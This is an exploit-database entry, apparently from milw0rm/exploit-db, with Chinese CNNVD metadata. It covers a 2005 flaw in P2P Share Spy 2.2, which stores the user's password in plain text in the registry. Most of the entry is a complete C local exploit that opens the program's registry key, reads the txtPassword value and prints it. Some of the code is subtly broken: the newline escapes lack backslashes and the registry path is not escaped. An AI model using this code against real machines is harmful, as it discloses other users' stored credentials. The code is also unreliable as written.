https://www.exploit-db.com/exploits/920
https://www.securityfocus.com/bid/90123
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-131

RebrandP2PShareSpy2.2在注册表的txtPassword值中以纯文本形式存储用户密码，从而允许本地用户获取权限。

/*****************************************************************

P2P Share Spy 2.2 Local Exploit by Kozan

Application: P2P Share Spy 2.2
Vendor: Rebrand Software - www.rebrandsoftware.com
Vulnerable Description: P2P Share Spy 2.2 discloses passwords
to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: [email protected]

*****************************************************************/

#include <stdio.h>
#include <windows.h>

#define BUFSIZE 100
HKEY hKey;
char Password[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main(void)
{

       if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\VB and VBA Program Settings\P2P Share Spy\Settings",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey) == ERROR_SUCCESS)
       {

           lRet = RegQueryValueEx( hKey, "txtPassword", NULL, NULL,(LPBYTE) Password, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                RegCloseKey(hKey);
                                printf("Not found!");
                                return 0;
                       }

                               RegCloseKey( hKey );

                       printf("P2P Share Spy 2.2 Local Exploit by Kozann");
                       printf("Credits to ATmaCAn");
                       printf("www.netmagister.com  -  www.spyinstructors.comn");
                       printf("[email protected]");
                       printf("Program Opening Password : %sn",Password);

        }
        else{
                printf("P2P Share Spy 2.2 is not installed on your system!n");
        }

       return 0;
}

// milw0rm.com [2005-04-07]

Rebrand P2p Share Spy 2.2

来源:SECTRACK
名称:1013673
链接:http://securitytracker.com/id?1013673